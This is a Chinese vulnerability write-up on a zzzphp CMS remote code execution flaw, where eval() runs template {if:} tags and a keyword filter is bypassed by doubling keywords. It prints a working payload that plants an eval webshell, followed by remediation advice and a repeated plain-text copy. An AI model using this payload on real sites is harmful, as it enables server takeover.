某php 远程代码执行审计
字数 1158 2025-08-27 12:33:48

zzzphp 远程代码执行漏洞分析与利用教学

漏洞概述

zzzphp 是一款 PHP 语言开发的免费建站系统,其模板解析功能中存在一个远程代码执行漏洞,攻击者可以通过构造特殊的模板标签来执行任意 PHP 代码。

漏洞产生原因

该漏洞产生于 zzzphp 的模板解析机制中,具体原因如下:

  1. 模板解析过程中使用了自定义的 {if:...} 条件判断标签
  2. 解析 if 标签时使用了 eval() 函数执行用户可控的输入
  3. 虽然有关键字过滤机制,但可以通过双写绕过

漏洞分析

漏洞调用链

  1. 程序入口 index.php 引入 inc/zzz_client.php
  2. zzz_client.php 引入模板解析类 zzz_template.php
  3. 通过 getlocation() 函数将 URL 和模板关联起来
  4. 实例化解析模板类并调用 parserCommom() 方法
  5. 最终调用 parserIfLabel() 方法处理 {if:...} 标签

关键代码分析

parserIfLabel() 方法代码片段:

public function parserIfLabel($zcontent) {
    $pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';
    if (preg_match_all($pattern, $zcontent, $matches)) {
        $count = count($matches[0]);
        for ($i = 0; $i < $count; $i++) {
            $flag = '';
            $out_html = '';
            $ifstr = $matches[1][$i];
            $ifstr = danger_key($ifstr); // 过滤危险关键字
            $ifstr = str_replace('=', '==', $ifstr);
            $ifstr = str_replace('<>', '!=', $ifstr);
            $ifstr = str_replace('or', '||', $ifstr);
            $ifstr = str_replace('and', '&&', $ifstr);
            $ifstr = str_replace('mod', '%', $ifstr);
            @eval('if(' . $ifstr . '){$flag="if";}else{$flag="else";}');
            // ... 省略其他代码
            return $zcontent;
        }
    }
}

过滤机制分析

danger_key() 函数用于过滤危险关键字:

function danger_key($s, $len=255) {
    $danger = array('php','preg','server','chr','decode','html','md5','post','get','cookie','session','sql','del','encrypt','upload','db','$','system','exec','shell','popen','eval');   
    $s = str_ireplace($danger, "*", $s);
    return $s;
}

过滤机制存在的问题:

  1. 使用 str_ireplace() 只替换一次,可以通过双写绕过
  2. $ 符号被过滤,无法直接使用变量

漏洞利用

利用条件

  1. 需要登录后台
  2. 需要修改模板文件权限

利用步骤

  1. 登录后台
  2. 进入"模板管理"修改 search.html 文件
  3. 添加恶意 if 标签代码
  4. 访问触发页面

EXP 构造技巧

  1. 双写绕过:对于被过滤的关键字,使用双写方式绕过

    • 例如:evalevevalal
    • phppphphp
  2. $ 符号绕过:使用 get_defined_vars() 函数获取变量

    • 例如:$_POST[1]get_defined_vars()['_POST'][1]
  3. 字符串替换恢复:利用 str_replace() 恢复被替换为 * 的关键字

示例 EXP

search.html 中添加:

{if:1)file_put_contents(str_replace('*','','Y4er.pphphp'),str_replace('*','','<?pphphp evevalal(ggetet_defined_vars()[_PPOSTOST][1]);'));//}{end if}

访问 http://localhost/search/ 后会在 http://localhost/search/Y4er.php 生成 webshell。

修复建议

  1. 使用 preg_replace 进行全局替换而非 str_ireplace
  2. 严格控制用户输入,避免直接 eval() 用户可控内容
  3. 对模板编辑功能增加权限控制
  4. 使用白名单方式限制模板标签中可使用的函数

总结

该漏洞虽然需要后台权限,但危害性较大,攻击者可以借此完全控制网站服务器。开发者在实现模板解析功能时应避免直接执行用户输入,并采用更严格的安全过滤机制。

zzzphp 远程代码执行漏洞分析与利用教学 漏洞概述 zzzphp 是一款 PHP 语言开发的免费建站系统,其模板解析功能中存在一个远程代码执行漏洞,攻击者可以通过构造特殊的模板标签来执行任意 PHP 代码。 漏洞产生原因 该漏洞产生于 zzzphp 的模板解析机制中,具体原因如下: 模板解析过程中使用了自定义的 {if:...} 条件判断标签 解析 if 标签时使用了 eval() 函数执行用户可控的输入 虽然有关键字过滤机制,但可以通过双写绕过 漏洞分析 漏洞调用链 程序入口 index.php 引入 inc/zzz_client.php zzz_client.php 引入模板解析类 zzz_template.php 通过 getlocation() 函数将 URL 和模板关联起来 实例化解析模板类并调用 parserCommom() 方法 最终调用 parserIfLabel() 方法处理 {if:...} 标签 关键代码分析 parserIfLabel() 方法代码片段: 过滤机制分析 danger_key() 函数用于过滤危险关键字: 过滤机制存在的问题: 使用 str_ireplace() 只替换一次,可以通过双写绕过 $ 符号被过滤,无法直接使用变量 漏洞利用 利用条件 需要登录后台 需要修改模板文件权限 利用步骤 登录后台 进入"模板管理"修改 search.html 文件 添加恶意 if 标签代码 访问触发页面 EXP 构造技巧 双写绕过 :对于被过滤的关键字,使用双写方式绕过 例如: eval → evevalal php → pphphp $ 符号绕过 :使用 get_defined_vars() 函数获取变量 例如: $_POST[1] → get_defined_vars()['_POST'][1] 字符串替换恢复 :利用 str_replace() 恢复被替换为 * 的关键字 示例 EXP 在 search.html 中添加: 访问 http://localhost/search/ 后会在 http://localhost/search/Y4er.php 生成 webshell。 修复建议 使用 preg_replace 进行全局替换而非 str_ireplace 严格控制用户输入,避免直接 eval() 用户可控内容 对模板编辑功能增加权限控制 使用白名单方式限制模板标签中可使用的函数 总结 该漏洞虽然需要后台权限,但危害性较大,攻击者可以借此完全控制网站服务器。开发者在实现模板解析功能时应避免直接执行用户输入,并采用更严格的安全过滤机制。